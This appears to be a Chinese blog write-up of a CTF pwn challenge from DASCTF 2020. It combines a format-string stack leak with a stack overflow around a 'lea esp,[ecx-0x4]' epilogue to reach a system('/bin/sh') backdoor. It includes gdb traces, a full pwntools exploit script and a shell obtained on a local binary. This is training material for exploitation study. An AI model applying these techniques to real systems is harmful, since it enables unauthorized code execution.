DASCTF2020-7月赛--签到

我之前不知道自己有多菜,然后参加了比赛才知道。。。。。菜的无底线,还请时钟大佬原谅

IDA

int __cdecl main(int argc, const char **argv, const char **envp)           
{
  char v4; // [esp+0h] [ebp-28h]
  char s; // [esp+10h] [ebp-18h]

  init();
  puts("what's your name:");
  gets(&s);
  printf(&s);
  puts("\nCan you solve this sign-in problem?");
  gets(&v4);
  return 0;

  backdoor:

  .text:0804857D push    ebp
.text:0804857E mov     ebp, esp
.text:08048580 sub     esp, 8
.text:08048583 sub     esp, 0Ch
.text:08048586 push    offset command  ; "/bin/sh"
.text:0804858B call    _system
.text:08048590 add     esp, 10h
.text:08048593 leave
.text:08048594 retn

v4距离栈底0x28,s距离栈底0x18都很容易溢出

checksec

hunter@hunter:~/PWN/DASCTF$ checksec qiandao
[*] '/home/hunter/PWN/DASCTF/qiandao'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
基本操作

分析

在IDA中有两个很明显的漏洞:fmt漏洞 ,StackOverflow漏洞
当时我在做题的时候看到这两个漏洞,还有后门我觉这个题稳了。但是狡猾的出题人就时不会让我得偿所愿~·

我在构造溢出payload时总是无法跳转:payload = ’A’*0x28 + ‘AAAA’ + p32(backdoor),当场懵逼~
然后再gdb调试的时候才发现了万恶之源。

EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd060 --> 0x1 
EDX: 0xf7fb389c --> 0x0 
ESI: 0xf7fb2000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd04c --> 0xf7df5e81 (<__libc_start_main+241>:    add    esp,0x10)
EIP: 0x8048601 (<main+108>:    lea    esp,[ecx-0x4])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80485f8 <main+99>:    mov    eax,0x0
   0x80485fd <main+104>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x8048600 <main+107>:    leave  
=> 0x8048601 <main+108>:    lea    esp,[ecx-0x4]
   0x8048604 <main+111>:    ret    
   0x8048605:    xchg   ax,ax
   0x8048607:    xchg   ax,ax
   0x8048609:    xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd04c --> 0xf7df5e81 (<__libc_start_main+241>:    add    esp,0x10)
0004| 0xffffd050 --> 0xf7fb2000 --> 0x1d4d6c 
0008| 0xffffd054 --> 0xf7fb2000 --> 0x1d4d6c 
0012| 0xffffd058 --> 0x0 
0016| 0xffffd05c --> 0xf7df5e81 (<__libc_start_main+241>:    add    esp,0x10)
0020| 0xffffd060 --> 0x1 
0024| 0xffffd064 --> 0xffffd0f4 --> 0xffffd2c2 ("/home/hunter/PWN/DASCTF/qiandao")
0028| 0xffffd068 --> 0xffffd0fc --> 0xffffd2e2 ("XDG_VTNR=7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048601 in main ()
gdb-peda$ 
  • 0x80485fd <main+104>: mov ecx,DWORD PTR [ebp-0x4] 将ebp-0x4处的数据值赋给了ecx
  • 0x8048601 <main+108>: lea esp,[ecx-0x4] 将exc-0x4赋给esp
  • ret pop ip 转跳
    因为这里不是常规的leave ret结尾,常规栈溢出肯定无法实现。

通过上面三条关键语句的梳理可知:ebp-0x4里面的数据 赋给ecx。然后esp指向ecx-0x4处的地址,最后ret到那个地址。
所以控制ebp-0x4处的非常关键,决定了程序流程。

小错误

当时我也注意到了这个问题,然后就构造payload把ebp-0x4处的地址覆盖为:p32(backdoor)+0x4.这样0x8048601 <main+108>: lea esp,[ecx-0x4] 语句后 esp指向p32(backdoor)了,然后ret一下就成功了。

ECX: 0x8048581 (<backdoor+4>:    in     al,dx)
EDX: 0xf7fa189c --> 0x0 
ESI: 0xf7fa0000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x0 
ESP: 0x804857d (<backdoor>:    push   ebp)
EIP: 0x8048604 (<main+111>:    ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80485fd <main+104>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x8048600 <main+107>:    leave  
   0x8048601 <main+108>:    lea    esp,[ecx-0x4]
=> 0x8048604 <main+111>:    ret    
   0x8048605:    xchg   ax,ax
   0x8048607:    xchg   ax,ax
   0x8048609:    xchg   ax,ax
   0x804860b:    xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0x804857d (<backdoor>:    push   ebp)
0004| 0x8048581 (<backdoor+4>:    in     al,dx)
0008| 0x8048585 (<backdoor+8>:    or     al,0x68)
0012| 0x8048589 (<backdoor+12>:    add    al,0x8)
0016| 0x804858d (<backdoor+16>:    (bad))
0020| 0x8048591 (<backdoor+20>:    les    edx,FWORD PTR [eax])
0024| 0x8048595 (<main>:    lea    ecx,[esp+0x4])
0028| 0x8048599 (<main+4>:    and    esp,0xfffffff0)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048604 in main ()

看,esp确实指向了backdoor。说明我都想法还是挺不错的,但是事实很残酷,在执行lea esp,[ecx-0x4]后esp就指向了backdoor(0x804857d ),相当于将backdoor以下都是为栈中数据,由于NX保护无法执行。可以看到那些指令都被拆分了,没有成型的system语句。

因此我们要做的就是在ret时仅仅把backdoor首地址 pop到ip中 而不是让esp直接指向backdoor

策略

将backdoor地址放入某个栈中,调节ecx,使得esp可以左后指向这个栈地址,然后ret 将该栈中地址pop入ip。这样esp将会指向下一个栈帧,同时ip存入了backdoor地址

思路

  • 利用fmt漏洞泄露栈地址
  • 根据相对位移调节ebp-0x4地址里,应该放入的值

泄露栈地址

泄露栈地址最好先用gdb搞清楚栈分布,在printf处下断点

EBP: 0xffffd048 --> 0x0 
ESP: 0xffffd010 --> 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")
EIP: 0x80485d1 (<main+60>:    call   0x80483e0 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80485ca <main+53>:    sub    esp,0xc
   0x80485cd <main+56>:    lea    eax,[ebp-0x18]
   0x80485d0 <main+59>:    push   eax
=> 0x80485d1 <main+60>:    call   0x80483e0 <printf@plt>
   0x80485d6 <main+65>:    add    esp,0x10
   0x80485d9 <main+68>:    sub    esp,0xc
   0x80485dc <main+71>:    push   0x80486ac
   0x80485e1 <main+76>:    call   0x8048400 <puts@plt>
Guessed arguments:
arg[0]: 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 --> 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")
0004| 0xffffd014 --> 0xf7fb2000 --> 0x1d4d6c 
0008| 0xffffd018 --> 0xffffd048 --> 0x0 
0012| 0xffffd01c --> 0x80485ab (<main+22>:    sub    esp,0xc)
0016| 0xffffd020 --> 0xf7fb23fc --> 0xf7fb3200 --> 0x0 
0020| 0xffffd024 --> 0x0 
0024| 0xffffd028 --> 0x0 
0028| 0xffffd02c --> 0x804865b (<__libc_csu_init+75>:    add    edi,0x1)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x080485d1 in main ()
gdb-peda$ ni
AAAA.0xf7fb2000.0xffffd048.(nil).0x41414141

我的输入为AAAA.%1$p.%2$p.%5$p.%8$p,执行printf函数后结果为:AAAA.0xf7fb2000.0xffffd048.(nil).0x41414141
此时栈情况:

0000| 0xffffd010 --> 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")   
0004| 0xffffd014 --> 0xf7fb2000 --> 0x1d4d6c        off=1
0008| 0xffffd018 --> 0xffffd048 --> 0x0             off=2
0012| 0xffffd01c --> 0x80485ab (<main+22>:    sub    esp,0xc)
0016| 0xffffd020 --> 0xf7fb23fc --> 0xf7fb3200 --> 0x0 
0020| 0xffffd024 --> 0x0 
0024| 0xffffd028 --> 0x0 
0028| 0xffffd02c --> 0x804865b (<__libc_csu_init+75>:    add    edi,0x1)
0032| 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")      off=8
0036| 0xffffd034 (".%1$p.%2$p.%5$p.%8$p")
0040| 0xffffd038 ("p.%2$p.%5$p.%8$p")
0044| 0xffffd03c ("$p.%5$p.%8$p")
0048| 0xffffd040 ("5$p.%8$p")
0052| 0xffffd044 ("%8$p")
0056| 0xffffd048 --> 0x0 
0060| 0xffffd04c --> 0xf7df5e81 (<__libc_start_main+241>:    add    esp,0x10)
0064| 0xffffd050 --> 0xf7fb2000 --> 0x1d4d6c 
0068| 0xffffd054 --> 0xf7fb2000 --> 0x1d4d6c 
0072| 0xffffd058 --> 0x0 
0076| 0xffffd05c --> 0xf7df5e81 (<__libc_start_main+241>:    add    esp,0x10)

二者结合可以明显看出fmt漏洞规律。所以以后需要泄露栈地址,用fmt加gdb调试,泄露函数就用常规的偏移量。显然此处8是偏移量
我们在偏移为2的地方可以泄露ebp地址。

所以我们用第一个gets函数来泄露地址,那么用第二个gets函数来控制流程

流程

得到ebp地址,可以求出gets(&v4)中v4的地址(char v4; // [esp+0h] [ebp-28h]),然后我们直接在v4首地址放入p32(backdoor)在ebp-0x4地址处放入&v4+0x4

payload = p32(backdoor)
payload += ’A'*0x20
payload += p32(ebp-0x28+0x4

EXP

from pwn import*
context.log_level = 'debug'

elf = ELF('qiandao')
backdoor = elf.symbols['backdoor']
sh = process('./qiandao')
print sh.recv()

payload = '%2$pAAA'

sh.sendline(payload)

ebp_addr = int(sh.recvuntil('AAA',drop=1),16)

print "ebp_addr==>"+str(hex(ebp_addr))

payload1 = p32(backdoor)
payload1 += 'A'*0x20
payload1 += p32(ebp_addr-0x28+0x4)

sh.sendline(payload1)

sh.interactive()

结果:

ebp_addr==>0xffef9ae8
[DEBUG] Sent 0x29 bytes:
    00000000  7d 85 04 08  41 41 41 41  41 41 41 41  41 41 41 41}···│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000020  41 41 41 41  c4 9a ef ff  0a                        │AAAA│····│·│
    00000029
[*] Switching to interactive mode

Can you solve this sign-in problem?
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

对于lea esp,[ecx-0x4]

出现这个指令而不是leave说明这个程序应该是在64位下编译的32位程序,大佬说这是i386的平栈方式。main函数的ret,一旦覆盖大量的数据,就会导致栈顶地址出错。所以之前我一直认为是无法溢出成功的。因为一旦溢出大量数据,也会修改ECX的值,导致ESP的值出问题。

实际上在x64下编译的x86程序在ret前都会产生这一段代码。在我们使用栈溢出利用的时候,会导致栈帧出错。刚开始的初学者很容易一筹莫展(比如以前的我),因为无法完成一次EIP覆写。但是实际上,反复调试了几遍之后,就发现这道题并非不可利用。
其实既然ECX对ret时的ESP能产生直接影响,那么通过控制ECX也能间接控制ESP
只需要找到pop ecx 时候对应的栈顶,就能控制ECX。进而控制整个栈帧。

一般会利用这个指令来进行stack povit,栈迁移到bss段之类的

详情见:https://www.anquanke.com/post/id/187875


  转载请注明: Squarer DASCTF2020-7月赛--签到

 上一篇
PIE绕过-vsyscall PIE绕过-vsyscall
前面我学习了一种pie绕过方法,然而那种方法有很大的局限性(没那么简单的题~),今天我又学到了一种方法——-vsyscall 测试使用cat /proc/self/maps指令 来查看当前的函数库,堆栈的地址(我的aslr开启)第一次: 0
2020-08-29
下一篇 
XCTF-CHALLENGE-DICE_GAME XCTF-CHALLENGE-DICE_GAME
IDA主函数: __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char buf[55]; // [rsp+0h] [rbp-50h] char v5; //
2020-08-19
  目录